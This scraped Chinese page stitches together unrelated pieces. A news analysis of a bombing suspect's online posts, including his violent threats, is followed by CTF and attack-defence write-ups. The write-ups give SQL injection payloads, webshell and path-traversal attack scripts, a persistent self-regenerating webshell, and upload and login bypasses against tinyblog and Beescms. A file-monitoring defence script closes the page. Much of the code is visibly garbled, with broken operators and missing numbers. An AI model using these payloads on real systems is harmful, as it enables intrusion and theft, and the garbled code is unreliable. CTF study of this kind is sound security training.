ctf 给了一串数字日志服务炸了怎么办

没有更多推荐了,
不良信息举报
举报内容:
举报原因:
原文地址:
原因补充:
最多只允许输入30个字
加入CSDN,享受更精准的内容推荐,与500万程序员共同成长!加入微博,记录点滴,分享感动,握手明星
嫌犯案发前的言论可以说明什么
警方公布的赵登用的部分&暴力语言&
赵登用QQ空间中的&说说&&&
赵登用QQ空间中的&日志&&&
“大家看日记别说我无礼,我所骂的都是那些流氓。我X他X,老子也走过二十几年,不是老子没有奋斗。回忆起来,老子一直都被那些流氓欺负, 从九岁到现在,老子和那些杂种打了几百次架,老子忍性很强,可是这些流氓为了不让我超过他,竟然用这卑鄙的手段来欺负我。打我,老子现在什么都没有了。只有健康的体魄,难道这些杂种只知道社会有钱什么都能办,难道你不知道我不能过你的后果会怎样吗?我告诉流氓们,不要嫉妒别人,人急了是不顾后果的”&&《人是不一样的》。
这些言论与案情有一定吻合度,因而有助于分析嫌犯的作案动机
赵登用的上述言论,显示其对社会有一定程度的不满,这种不满既指向制度&&&不是能力决定一切。而是社会背景决定一切&;也指向社会中特定的人&&&我所骂的都是那些流氓&;还指向社会中不特定的人&&&不要给一般人一翻见识&、&混不走的时后会有多少人死在我的手下&。
其中,案发前对社会中不特定的人有不满,是那些针对不特定人的爆炸、纵火案的重要特征。一些引起轰动的公交爆炸、纵火案,如2004年长沙公交案、2008年昆明公交案、2009年成都公交案,其犯罪嫌疑人在案发前都流露过对不特定人的怨恨或者&和谁都处不来&的生活特征。事实上,自杀性爆炸案多是针对不特定人,有数据显示,在自杀性暴力犯罪案件中,特别是大案、要案中,有90%以上的犯罪行为人与犯罪对象不存在什么因果关系。
因而,赵登用的这些言论确实可以帮助我们去分析他的作案动机。
但言论的发表时间等又与案情不太吻合,所以由这些言论来断定作案动机不妥
2011年抚州爆炸案,案发前嫌犯也在微博等平台发表过不少言论,为什么从那些言论就可以大致断定嫌犯的作案动机呢?因为那些言论与案情高度吻合,这个&吻合&是指那些言论一环扣一环,最后与案发扣在了一起。嫌犯说了自己的不满,说了这些不满怎么难以解决,说了自己针对性的打算,最后还说了自己要把打算变成行动了&&&关注抚州近期发生的爆炸性新闻&。
反观赵登用的那些言论,距离案发有两年之久,这两年里他可能依旧抱有言论中表达的情绪,并在一个&触发点&&引爆&;这两年里也可能他的想法已经改变,情绪已经平复,此次作案另有他因;还可能他发表那些言论只是说说而已,并没有把&想法变成行动&的打算和勇气,毕竟在微博里搜一下,那些放出类似&狠话&的人一大把,而其中有几个实践了?吐露负面情绪,本就是互联网用户的特征。美国尼尔森公司发布的亚太各国网民的用户习惯报告表明,约有62%的中国网民表示他们更愿意分享负面评论,而全球网民的这一比例则为41%。而在中国青年报随后的调查中,有41.3%的网民认同尼尔森公司的调查结果,41.9%的网民认为批评性言论更有价值。这些调查虽然主要是在讨论商业消费领域,但毫无疑问,互联网用户在网络上十分容易接收和发布负面情绪,在这一点上甚至不分中外。
总之,赵的犯罪动机可能与那些言论吻合,也可能不吻合。即便吻合,到底是和哪部分吻合&&是针对特定人发表威胁的那部分;还是针对不特定人发表威胁的那部分?毕竟我们还不能因为他炸死的有不特定的人,就否认他其实是针对其中某个特定人的可能。
要定案,还缺什么
随着证据涌现 赵登用实施爆炸的事实已经比较清晰
经过指纹核实与家属辨认,现场监控录像拍摄的可疑男子正是赵登用。
他在引爆炸药前的踌躇、紧张与不自然,都在录像中得到了体现。也符合自杀犯罪前的规律。
而且技术勘查显示,这起爆炸属于悬空爆炸,爆炸中心点就在赵登用的背包处。而赵登用在视频中最后的一个动作是:侧转了下身子,右手似乎向外拉。随后爆炸发生。
此外,对于家属一直存疑的&背包&问题,所有看过视频的记者都得出了&摄像头清晰地捕捉到了他背后的双肩包&的结论。
但仍有合理怀疑需排除
对一宗刑事案,其定案标准需&排除一切合理怀疑&。假定赵登用为嫌犯,因他已在爆炸中身亡,此案将不再继续公诉和审判程序。这意味着,公安机关的调查结论即为本案的结论,对定案标准尤应从严把握。就在半个月前,公安部常务副部长杨焕宁曾强调,民警要切实转变侦查办案方式,切实实现侦查办案由&抓人破案&向&证据定案&的目标转变。
从证据的角度看,巧家爆炸案仍有不少&合理怀疑&尚待排除。比如赵的亲属就提出质疑:炸药是禁品,赵登用不懂爆破技术,他是如何获得爆炸物并引爆的?赵登用不是被征地拆迁对象,他为何跑去征地补偿协议签约现场实施爆炸?赵登用的双肩包,家人没见过,是哪来的?这些正是警方当前调查工作的核心,质疑者不妨带着问题,给警方留出时间和空间,等待下一次媒体通报和证据披露。
为什么警方会陷入舆论漩涡
人们总是不愿看到案件指向&个人原因&
每次有大案要案发生,媒体总是希望能挖掘案件背后的&社会原因&。而大众也乐见这些案件的发生原因能归结到&社会问题&,以此来寄托自己的某些不满情绪和改良的期望。
本案发生在征地补偿协议签署现场,一开始又传出是某妇女携子自爆,所以很容易给人&因征地补偿不公导致的惨剧&的联想。这个联想符合大众的心理期望。
当案件指向&个人原因&时,心理落差会导致人们挑剔,警方的错误很容易被口诛笔伐
但后来警方披露的信息显示,这起案件不仅与征地补偿无关,而且很可能就是因为嫌犯个人品质太差引起的。这样一来,就给大众造成了心理落差,人们不愿意接受这样的信息,因而纷纷挑刺质疑。这时候如果出现&以县公安局长的名义和前程担保&,或者&以QQ记录推断&这类不严谨说法,自然免不了被&炮轰&了。
警方应当更注重逻辑的严谨与证据的确凿,不专业的说法只能带来更多问号。
马金库究竟如何从一个三好学生变成了杀人犯?
暴力行凶的罪犯,多有人格缺陷
药家鑫的父亲对他的性格养成有何影响
从“个性中的问题”入手,才能走上真正的求解之路。
是否能够预设一个安全阀,使这类犯罪不再重演?
网友认为张云良犯罪不仅因为“坏”,而是必有冤情。
赵登用的QQ记录能说明作案动机吗
将您的投票发到微博
010- lhxmail@vip.qq.com
版权声明:腾讯网原创策划,欢迎转载或报道,但请注明出处。违者必究
本期责编:聊聊二次注入
本篇原创文章首发
之前参加“强网杯”,学到了不少姿势,其中的web题three hit印象深刻,考的是二次注入的问题,这里对二次注入尝试做一个小结。
1.什么是二次注入?
所谓二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入。
二次注入是sql注入的一种,但是比普通sql注入利用更加困难,利用门槛更高。普通注入数据直接进入到 SQL 查询中,而二次注入则是输入数据经处理后存储,取出后,再次进入到 SQL 查询。
2.二次注入的原理
二次注入的原理,在第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身还是脏数据。
在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入。
3.二次注入的实例——SQLIlab lesson-24
学习SQL注入,必定要刷SQLIlab,这里以SQLIlab lesson-24为例,也是考察的二次注入的点。打开题目:
学习SQL注入,必定要刷SQLIlab,这里以SQLIlab lesson-24为例,也是考察的二次注入的点。打开题目:
如果直接尝试在登陆处尝试SQL注入,payload: admin’# 发现失败:
看一下源代码:
登陆处的username和password都经过了mysql_real_escape_string函数的转义,直接执行SQL语句会转义’,所以该处无法造成SQL注入。
Ok,此时我们注册一个test’#的账号
注册用户的时候用了mysql_escape_string过滤参数:
但是数据库中还是插入了问题数据test’#
也就是说经过mysql_escape_string转义的数据存入数据库后被还原,这里做了一个测试:
回到题目,此时,test用户的原来密码为test,我们以test’#用户登陆,再进行密码修改:
我们无需填写current password即可修改test用户的密码:
我们再看一下test用户的密码:
Ok,我们看一下源代码:
Username直接从数据库中取出,没有经过转义处理。在更新用户密码的时候其实执行了下面的命令:
"UPDATE users SET PASSWORD='22' where username='test’#' and password='$curr_pass' ";
因为我们将问题数据存储到了数据库,而程序再取数据库中的数据的时候没有进行二次判断便直接带入到代码中,从而造成了二次注入;
4.二次注入实例——“强网杯”three hit
题目描述:
打开看看:
尝试注入失败
注册一个账号:
登陆进去会显示用户名,age,以及和该用户age相同的用户名。这里题目对用户名做了限制只能为0-9a-zA-Z,对age限制为只能是数字。
根据题目的显示,猜测SQL语句
Select name from table where age=xx limit 0,1;
猜测age处存在SQL注入, 这里后来看了其他大佬的解题思路,某大佬直接访问.index.php.swp,获得了源代码(其实是比赛方在修改代码,非预期):
可以看到对age进行了is_numeric处理,可以用16进制编码绕过。
1 and 1=2#
用0x作为age注册一个用户:
发现查询为空。
1 and 1=1#
用0x作为age注册一个用户:
此时发现可以查询到aaa用户,根据and 1=1 和 and 1=2返回不同判断此处存在二次SQL注入,注册用户的age字段直接被后续的查询语句所调用。接下来的操作和普通的SQL注入测试操作没有什么区别,首先还是测有几列:
1 order by 4#
注册age为0x23的用户:
查询正常。
注册age为0x23的用户
查询失败,可以判断列数为4,接下来就是暴库,首先用union看看可以利用显示的字段:
可以看到第二列可以用来显示,接下来暴库:
1 and 1=2 union select 1,group_concat(schema_name),3,4 from information_schema.schemata#
可以看到 数据库名qwb,接下来爆表:
1 and 1=2 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='qwb'#
最终payload:
19 and 1=2 union select null,concat(flag),null,null from flag#
总结一下,二次注入发生时,虽然会对用户的输入的一些符号进行转义,但是在存入数据库的时候被还原,如果从数据库中取数据的时候直接进行利用,就会造成二次注入,因此在从数据库或文件中取数据的时候,也要进行转义或者过滤。
第二届强网杯writeup
本篇原创文章首发
周末参加了强网杯,虽然只做出了一些题目,收获还是蛮大的,记录一下解题过程和思路,writeup如下:
题目描述:
解题思路:
首先下载文件,用winhex看看文件头为424D,判断文件为bmp文件:
尝试用notepad打开看看文件内容中是否有flag,没有发现;然后binwalk一下未发现图片中有隐藏文件;再尝试用stegsolve打开,stereogram不断设置offset,发现图片有一些异常,当offset为80时,出现flag
2.Web 签到
题目描述:
解题思路:
这题还是蛮有意思的,虽说是签到,考察的点很好
看一下源代码:
很基础的==弱类型判断,要使得param1!=param2并且md5(param1)==md5(param1)
两边都是==弱类型判断,这里说一下==和===的区别:
要使$a == $b,只需要类型转换后 $a 等于 $b即可;要使$a === $b,则不但需要 $a 等于 $b,并且需要它们的类型也相同。可以明确的看到,==会在比较的时候进行类型转换的比较。
如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换为数值并且比较按照数值来进行。
绕过方式1:
param1=,param2=QNKCDZO,这两个参数不相等;
md5(‘’) 的结果是:0e736854
md5(‘QNKCDZO’) 的结果是:0e903391
由于是==,0e736854在比较的时候会做类型转换成数字,而0e开头代表科学计数法,所以无论0e后面是什么,0的多少次方还是0,这样就可以绕过。本地测试:
绕过方式2:
param1[]=1&param2[]=2
这里param1和param2都是数组,值不相等,但是md5(数组)会报错,返回null,因此
md5(param1)==md5(param1),也就是null==null,也可以绕过。
综上,可以构造数据或者md5 0e开头的字符串绕过,无需md5碰撞:
看一下源代码:
这里param1!==param2并且md5(param1)===md5(param1),两边都是===判断,和第一关的==弱类型判断不一样,此时0e736854!== 0e903391,因为这里不做类型转换,当做字符串处理。这里只能用数组绕过,md5(数组)会报错,返回null,null===null
param1[]=1&param2[]=2
看一下源代码:
这里两边都是强判断===,并且强制转换为string类型进行比较,想了很久,只能通过md5碰撞绕过去,早知道第三关这样,前面几关也都可以用md5碰撞绕过。首先用fastcoll生成2个md5一致的文件:
然后将这两个文件的内容通过url编码传进去即可:
3.streamgame1
题目给了一个算法和一个key:
这里没有看具体的算法,因为flag长度25位,格式为flag{},那么中间长度就是19位,而密文key也很短:
尝试直接用爆破进行测试,按照题目的算法遍历flag,和key的每一位进行比较,如果匹配,那么该字符就是flag的一部分:
def lfsr(R,mask):
output = (R && 1) & 0xffffff
i=(R&mask)&0xffffff
while i!=0:
lastbit^=(i&1)
output^=lastbit
return (output,lastbit)
#R=int(flag[5:-1],2)
#print f1.read()
for R in range(0,0b1111111):
for i in range(12):
for j in range(8):
(R,out)=lfsr(R,mask)
tmp=(tmp && 1)^out
if tmp==0x55:
if tmp==0x38:
if tmp==0xF7:
if tmp==0x42:
if tmp==0xC1:
print tmpr
从0到0b111111遍历flag,然后带入到加密算法进行计算,根据key的二进制值,比较每一位是否相等,如果第一位相等继续比较第二位,如果不相等则继续遍历,比较各4-5位左右,如果都相等,差不多可以判断遍历成功,tmpr的二进制形式就是flag
4.streamgame2
其实和streamgame 2没什么区别,只是长度变了:
还是遍历,只不过flag长度变成了27位,去掉“flag{}”6位,因此中间长度为21位,也就是0-0b修改一下长度就可以
def lfsr(R,mask):
output = (R && 1) & 0xffffff
i=(R&mask)&0xffffff
while i!=0:
lastbit^=(i&1)
output^=lastbit
return (output,lastbit)
#R=int(flag[5:-1],2)
mask=0x100002
#print f1.read()
for R in range(0,0b):
for i in range(12):
for j in range(8):
(R,out)=lfsr(R,mask)
tmp=(tmp && 1)^out
if tmp==0xB2:
if tmp==0xE9:
if tmp==0x0E:
if tmp==0x13:
if tmp==0xA0:
print tmpr
5.streamgame4
换汤不换药,虽说是,但flag长度还是固定的21位:
因此还是遍历:
def nlfsr(R,mask):
output = (R && 1) & 0xffffff
i=(R&mask)&0xffffff
changesign=True
while i!=0:
if changesign:
lastbit &= (i & 1)
changesign=False
lastbit^=(i&1)
output^=lastbit
return (output,lastbit)
#R=int(flag[5:-1],2)
#print f1.read()
for R in range(0,0b):
for i in range(12):
for j in range(8):
(R,out)=nlfsr(R,mask)
tmp=(tmp && 1)^out
if tmp==0xD1:
if tmp==0xD9:
if tmp==0x40:
if tmp==0x43:
if tmp==0x93:
print tmpr
5.simplecheck
题目描述:
题目给了一个apk,运行下试试:
要输入flag,错误返回“sorry its wrong“
反编译apk,看一下关键代码:
这题需要让函数a返回true,传递的参数paramString为flag,需要我们逆出flag,算法大概的意思:
首先定义了一些数组a,b,c,d
往下看代码
if (paramString.length() != b.length) {
这里说明了flag的长度需要等于b数组的长度,也就是34,再往下看:
int[] arrayOfInt = new int[a.length];
arrayOfInt[0] = 0;
byte[] arrayOfByte = paramString.getBytes();
int i = arrayOfByte.
int j = 0;
int k = 1;
while (j & i)
arrayOfInt[k] = arrayOfByte[j];
这里new了一个新数组arrayOfInt,arrayOfInt[0] = 0;然后将flag赋值到arrayOfInt[1]- arrayOfInt[34],也就是说数组arrayOfInt,第一位为0,后面34位为flag。
再往下看关键代码:
for (int m = 0;; m++)
if (m &= c.length) {
break label175;
if ((a[m] != b[m] * arrayOfInt[m] * arrayOfInt[m] + c[m] * arrayOfInt[m] + d[m]) || (a[(m + 1)] != b[m] * arrayOfInt[(m + 1)] * arrayOfInt[(m + 1)] + c[m] * arrayOfInt[(m + 1)] + d[m])) {
m从0到34进行遍历,要使得if ((a[m] != b[m] * arrayOfInt[m] * arrayOfInt[m] + c[m] * arrayOfInt[m] + d[m])
(a[(m + 1)] != b[m] * arrayOfInt[(m + 1)] * arrayOfInt[(m + 1)] + c[m] * arrayOfInt[(m + 1)] + d[m]))为假
由于if里面是
0才为0,转换一下这个条件就是:
a[m] == b[m] * arrayOfInt[m] * arrayOfInt[m] + c[m] * arrayOfInt[m] + d[m]
a[(m + 1)] == b[m] * arrayOfInt[(m + 1)] * arrayOfInt[(m + 1)] + c[m] * arrayOfInt[(m + 1)] + d[m]
明白了关键函数,就可以尝试利用爆破区爆破flag:
a= [0, , , 4054312]
b= [1, 4, 5, , , 6, 2, 2, 3, 1, 6, 2, 1, 4, 4, 6, 6]
c=[3, 2, , 2, 2, 6, 2, 1, 3, 4, 2, 3, 6, , 1, 1, ]
d=[0, -, -, -, -, -, , -, , -, -, , , , , , , -7555158, -, -772, , , 6158562]
for m in range(1,34):
for f1 in range(32,127):
if((a[m] == b[m-1] * f1 * f1 + c[m-1] * f1 + d[m-1]) and (a[m] == b[m] * f1 * f1 + c[m] * f1 + d[m])):
flag+=chr(f1)
#print len(c)
print flag+"}"
CTF tinyblog代码审计
本篇原创文章首发
前段时间参加了某次CTF线下赛,大多数比赛都是采用主流CMS系统,比如wordpress、pgpcms、dedecms等等,如果对主流CMS漏洞比较熟悉的话可以迅速定位漏洞,发起攻击。而这次比赛采用了小众自写CMS的方式,注重现场快速代码审计。本文将介绍CTF线下赛AWD模式的一些常见套路,以及对tinyblog的代码审计思路。
一、预留后门
比赛开始,一般比赛方为了比赛的观赏性,一般都会预留后门,这样场上可以迅速打起来,展示画面比较好看,不然过了好几轮都没动静会比较尴尬。迅速找后门的套路一般是将比赛源代码首先备份下来,备份很关键,后面可能在修复漏洞或者被其他队伍攻击的时候服务会挂掉,没有备份很难恢复过来。利用webshell检测工具D盾、河马等对备份进行扫描,一般都可以发现预留后门:
查看一下预留后门内容:
虽然做了变形,但还是可以明显看出来是一句话木马,密码:abcde10db05bd4f6a24c94d7edde441d18545,尝试用菜刀去连:
在根目录下就可以得到flag内容。所以发现后门后需要迅速将自己的后门删掉,同时利用预留后门迅速发起第一波攻击,用菜刀手工连接显然是来不及的,因此需要自动化的攻击脚本:
1. def backdoor(host):
r = requests.post(url="http://%s/Upload/index.php"%host,data={"abcde10db05bd4f6a24c94d7edde441d18545":"print('&&&'.file_get_contents('/flag').'&&&');"})
flags = re.findall(r'&&&(.+?)&&&',r.content)
return flags[0]
return "error pwn!"
二、后台SQL注入
接下来,对各种用户交互的地方进行渗透测试,发现在用户登录处存在SQL注入漏洞,在登录名出加’进行测试:
发现报错:
估计存在SQL注入的可能性比较大,审计一下源代码,在Model/Admin.php第16行发现SQL拼接,并且没有任何防护措施:
因此这里可以直接用SQLmap跑:
然后利用–sql-shell选项,执行 select load_file(‘/flag’)即可获得flag:
这里注意一下sqlmap的缓存机制,因为flag每一轮都会变化,如果新一轮继续直接跑的话获得的flag仍然是上一轮的,因此每轮还需要增加–flush-session参数。
当然也可以直接现场编写payload:
1. def sqli(host):
r = requests.post(url="http://%s/?p=admin&a=login"%host,data={"email":"'||(SELECT updatexml(1,concat(0x7e,(select load_file('/flag')),0x7e),1))||'","password":"pwd123"})
flags = re.findall(r'~(.+?)~',r.content)
return flags[0]
return "error pwn!"
修复的话,需要将Admin.php中出问题的代码用预编译的方式进行修复,即:
1. //fix by tinyfisher
2. $oStmt = $this-&oDb-&prepare("SELECT email, password FROM Admins WHERE email = ? LIMIT 1");
3. $oStmt-&execute($sEmail);
三、文件包含
这个漏洞利用黑盒测试是很难测出来,必须通过代码审计才能发现,这里我主要用的工具是seay的源代码审计工具,首先将备份文件自动审计一下:
这里发现漏洞并不多,可以一个一个跟进去看一下,问题出现在Engine/Router.php的第21行,直接include $sTemplatePath,而:
$sTemplatePath = ROOT_PATH . ‘Template/’ . $aParams[‘template’];
所以可以通过控制$aParams[‘template’]来达到任意文件读取。
我们来全局查找一下这个参数:
发现在index.php的33行找到该参数
根据’template’ =& (!empty($_GET[‘t’]) ? $_GET[‘t’] : ‘pc’),get 参数中如果t为空,则t默认值为pc,因此我们可以控制t,进而控制$aParams[‘template’],来达到文件包含的效果,payload:/?t=../../../../../../../flag
自动攻击脚本:
1. def include(host):
r = requests.get(url="http://%s/?t=../../../../../../flag"%host)
flags = re.findall(r'^(.+?)&',r.content)
return flags[0]
return "error pwn!"
修复的话,过滤掉“.”和“/”来快速达到修复效果:
$sTemplatePath = str_replace(array(“.”,”\/”), “”, $sTemplatePath);
四、权限维持
对于上面的漏洞,如果其他队伍修复了就没有办法再次利用,因此需要进行权限维持,不然后期就再也得不到分了。常见的权限维持手段是“不死马”,也就是上传一个php文件不断生成webshell:
访问这个php文件之后,会在目录下生成一个.config.php的一句话木马,之所以叫.config.php一方面是隐藏文件,另一方面config这个名字容易掩护自己。里面的内容之所以做了变形处理,也是为了防止其他选手“借刀杀人”,利用自己的shell去攻击其他队伍。
php中ignore_user_abort() 可以实现当客户端关闭后仍然可以执行PHP代码,可保持PHP进程一直在执行,可实现所谓的计划任务功能与持续进程,只需要开启执行脚本,除非 apache等服务器重启或有脚本有输出,该PHP脚本将一直处于执行的状态,因此就可以一直生成一句话木马,用来维持权限。
五、借刀杀人
比赛当中如果一直被高手打,而又找不到漏洞所在,有没有其他手段可以缩小差距?我们可以监控流量和日志来找到攻击payload,然后利用这个payload攻击其他队伍。比如发现自己被种上了不死马,没有办法杀掉怎么办?那就继续将这个不死马发扬光大,一般攻击者上传的文件路径和内容都是一致的,你被种了不死马意味着在其他队伍的相同位置下也存在不死马,所以直接去利用他得分吧。
流量监控这块,可以在靶机上抓一下流量:
tcpdump –s 0 –w flow.pcap port xxxx
然后在自己的机器上去分析flow.pcap这个文件,一般就可以看到其他队伍的攻击payload,web和pwn都可以使用这个方法。
日志监控这块主要是为了网站访问记录,便于后续的问题排查,就是把各种字段的数据记录下来,包括请求的文件、时间、IP、访问的文件、POST的内容等等。
1. date_default_timezone_set('Asia/Shanghai');
= $_SERVER["REMOTE_ADDR"];
3. $filename
= $_SERVER['PHP_SELF'];
//访问的文件
4. $parameter = $_SERVER["QUERY_STRING"];
//查询的字符串
5. $method
= $_SERVER['REQUEST_METHOD']; //请求方法
date('Y-m-d H:i:s',time()); //请求时间
= file_get_contents("php://input",'r'); //接收POST数据
9. $others
= '**********************************************************************';
10. $logadd
= '访问时间:'.$time.'访问IP:'.$ip.'请求方法:'.$method.' '.'访问链接:'.$filename.'?'.$parameter."\r\n";...
11. //记录写入
12. $fh = fopen("log.txt", "a");
13. fwrite($fh, $logadd);
14. fwrite($fh,print_r($_COOKIE, true)."\r\n");
15. fwrite($fh,$others."\r\n");
16. fclose($fh);
比赛源代码下载
链接:https://pan.baidu.com/s/1bqZbLi3 密码:fagg
AWD writeup&Beescms代码审计
本篇原创文章参加
前段时间,团队搞了一次CTF线下攻防赛,用的是Beescms,比赛时间太短,没来得及找出所有漏洞,现在好好审一审这个CMS。
一、预留后门
比赛开始,还是将整个/var/www/html目录下载下来,用D盾扫一下,是否有预留后门:
看到site/sitemap.php 文件疑似木马,查看一下:
看到$_POST;很明显,这是一个木马,但是比常见的一句话木马稍微复杂一点,需要构造参数lang和0:
Post:lang=system
要拿flag的话将0=cat
/flag即可:
所以直接用上面的payload攻击其他队伍即可,同时删掉自身的后门文件。
二、后台SQL注入
在后台登陆用户名处加个’测试一下SQL注入:
发现报错,十有八九存在SQL注入:
看下/admin/login.php内容:
在42和43行发现对user和password进过fl_value()和fl_html()处理,然后送入check_login(),跟进check_login()看下:
在fun.php的971行可以看到SQL语句对user参数进行了拼接,猜测fl_value()和fl_html()是对user进行过滤,跟进分别看下:
在fun.php的1755行,fl_value()用preg_replace()将select、insert、and、on等等关键词替换为空,这个绕过很简单,在关键词中再插入关键词即可绕过,如:seleselectct;fl_html()其实就是htmlspecialchars(),防止XSS攻击,由于htmlspecialchars()采用的是默认参数,仅编码双引号,所以对于’不会过滤,要想过滤单引号和双引号需要加上ENT_QUOTES参数,即htmlspecialchars($str, ENT_QUOTES)。所以结合上述分析,SQL注入payload为:
user=admin' uni union on selselectect 1,2,3,4,5#&password=3&code=6c3d&submit=true&submit.x=28&submit.y=35
知道了这个注入规则之后,就有各种各样的注入方法了,尝试利用into outfile写木马进去,发现MySQL server is running with the –secure-file-priv option,而且fl_html()会过滤&&,因此放弃了这条路,继续找其他漏洞。
三、后台任意文件上传
比赛中后台存在弱口令admin/admin,可以登录后台进行测试。这里猥琐一点立即修改其他队伍后台密码,其他队伍就比较被动了。
在后台发现有图片上传的地方,并且可以返回图片路径:
尝试是否可以上传wenshell,发现直接上传不行,尝试将content type改为image/jpeg,即可上传成功:
并且返回文件路径:
img/419112.php
用菜刀连接:
进一步代码审计上传文件处代码:
在admin/upload.php中的第44行发现,上传调用了up_img()函数,跟进去看看:
在fun.php中的571行找到该函数,发现仅仅对上传图片的type进行了验证:
利用upload.php中定义的白名单:’image/gif’,’image/jpeg’,’image/png’,’image/jpg’,’image/bmp’,’image/pjpeg’进行匹配,如果不在白名单里,提示图片格式不正确。而且对文件后缀没有进行判断,直接拼接:
因此,修改content type即可绕过限制,上传webshell。
四、前台登陆绕过
由于上传点在后台,所以其他队伍如果修改了密码,就没有办法进行利用,进一步审计登陆判断逻辑:
在admin/init.php中第54行发现判断函数is_login():
跟进去看一下,在fun.php的997行发现该函数:
这里并没有对用户信息做检查,只是单纯的判断了是否存在login_in admin这两个session标识位和是否超时而已,构造payload:
POST:_SESSION[login_in]=1&_SESSION[admin]=1&_SESSION[login_time]=
可登陆后台。
利用的话,首先绕过前台登陆,然后打开/admin/upload.php 选择一个php文件上传,修改上传包中的Content-Type:为image/png就可以了。
五、通用防御
对于这种任意文件上传漏洞,比赛中一般通用防御是使用文件监控。文件监控可以对web目录进行监控,发现新上传文件或者文件被修改立即恢复,这样可以防止上传shell等攻击:
# -*- coding: utf-8 -*-
# @Author: Nearg1e --
10:08:35 --0v0--
# v demo 0.21 修改了备份的webshell会自己坑自己的情况
# todo: windows下不支持中文目录
#use: python file_check.py ./
import hashlib
import shutil
import ntpath
import time
CWD = os.getcwd()
FILE_MD5_DICT = {}
# 文件MD5字典
ORIGIN_FILE_LIST = []
# 特殊文件路径字符串
Special_path_str = 'drops_JWI96TY7ZKNMQPDRUOSG0FLH41A3C5EXVB82'
bakstring = 'bak_EAR1IBM0JT9HZ75WU4Y3Q8KLPCX26NDFOGVS'
logstring = 'log_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'
webshellstring = 'webshell_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'
difffile = 'diff_UMTGPJO17F82K35Z0LEDA6QB9WH4IYRXVSCN'
Special_string = 'drops_log'
# 免死金牌
UNICODE_ENCODING = "utf-8"
INVALID_UNICODE_CHAR_FORMAT = r"\?%02x"
# 文件路径字典
spec_base_path = os.path.realpath(os.path.join(CWD, Special_path_str))
Special_path = {
'bak' : os.path.realpath(os.path.join(spec_base_path, bakstring)),
'log' : os.path.realpath(os.path.join(spec_base_path, logstring)),
'webshell' : os.path.realpath(os.path.join(spec_base_path, webshellstring)),
'difffile' : os.path.realpath(os.path.join(spec_base_path, difffile)),
def isListLike(value):
return isinstance(value, (list, tuple, set))
# 获取Unicode编码
def getUnicode(value, encoding=None, noneToNull=False):
if noneToNull and value is None:
return NULL
if isListLike(value):
value = list(getUnicode(_, encoding, noneToNull) for _ in value)
return value
if isinstance(value, unicode):
return value
elif isinstance(value, basestring):
while True:
return unicode(value, encoding or UNICODE_ENCODING)
except UnicodeDecodeError, ex:
return unicode(value, UNICODE_ENCODING)
value = value[:ex.start] + "".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:]
return unicode(value)
except UnicodeDecodeError:
return unicode(str(value), errors="ignore")
# 目录创建
def mkdir_p(path):
import errno
os.makedirs(path)
except OSError as exc:
if exc.errno == errno.EEXIST and os.path.isdir(path):
else: raise
# 获取当前所有文件路径
def getfilelist(cwd):
filelist = []
for root,subdirs, files in os.walk(cwd):
for filepath in files:
originalfile = os.path.join(root, filepath)
if Special_path_str not in originalfile:
filelist.append(originalfile)
return filelist
# 计算机文件MD5值
def calcMD5(filepath):
with open(filepath,'rb') as f:
md5obj = hashlib.md5()
md5obj.update(f.read())
hash = md5obj.hexdigest()
return hash
except Exception, e:
print u'[!] getmd5_error : ' + getUnicode(filepath)
print getUnicode(e)
ORIGIN_FILE_LIST.remove(filepath)
FILE_MD5_DICT.pop(filepath, None)
except KeyError, e:
# 获取所有文件MD5
def getfilemd5dict(filelist = []):
filemd5dict = {}
for ori_file in filelist:
if Special_path_str not in ori_file:
md5 = calcMD5(os.path.realpath(ori_file))
filemd5dict[ori_file] = md5
return filemd5dict
# 备份所有文件
def backup_file(filelist=[]):
# if len(os.listdir(Special_path['bak'])) == 0:
for filepath in filelist:
if Special_path_str not in filepath:
shutil.copy2(filepath, Special_path['bak'])
if __name__ == '__main__':
print u'---------start------------'
for value in Special_path:
mkdir_p(Special_path[value])
# 获取所有文件路径,并获取所有文件的MD5,同时备份所有文件
ORIGIN_FILE_LIST = getfilelist(CWD)
FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST)
backup_file(ORIGIN_FILE_LIST) # TODO 备份文件可能会产生重名BUG
print u'[*] pre work end!'
while True:
file_list = getfilelist(CWD)
# 移除新上传文件
diff_file_list = list(set(file_list) ^ set(ORIGIN_FILE_LIST))
if len(diff_file_list) != 0:
#pdb.set_trace()
for filepath in diff_file_list:
f = open(filepath, 'r').read()
except Exception, e:
if Special_string not in f:
print u'[*] webshell find : ' + getUnicode(filepath)
shutil.move(filepath, os.path.join(Special_path['webshell'], ntpath.basename(filepath) + '.txt'))
except Exception as e:
print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filepath)
f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
f.write('newfile: ' + getUnicode(filepath) + ' : ' + str(time.ctime()) + '\n')
except Exception as e:
print u'[-] log error : file move error: ' + getUnicode(e)
# 防止任意文件被修改,还原被修改文件
md5_dict = getfilemd5dict(ORIGIN_FILE_LIST)
for filekey in md5_dict:
if md5_dict[filekey] != FILE_MD5_DICT[filekey]:
f = open(filekey, 'r').read()
except Exception, e:
if Special_string not in f:
print u'[*] file had be change : ' + getUnicode(filekey)
shutil.move(filekey, os.path.join(Special_path['difffile'], ntpath.basename(filekey) + '.txt'))
shutil.move(os.path.join(Special_path['bak'], ntpath.basename(filekey)), filekey)
except Exception as e:
print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filekey)
f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
f.write('diff_file: ' + getUnicode(filekey) + ' : ' + getUnicode(time.ctime()) + '\n')
except Exception as e:
print u'[-] log error : done_diff: ' + getUnicode(filekey)
time.sleep(2)
# print '[*] ' + getUnicode(time.ctime())
比赛源代码:
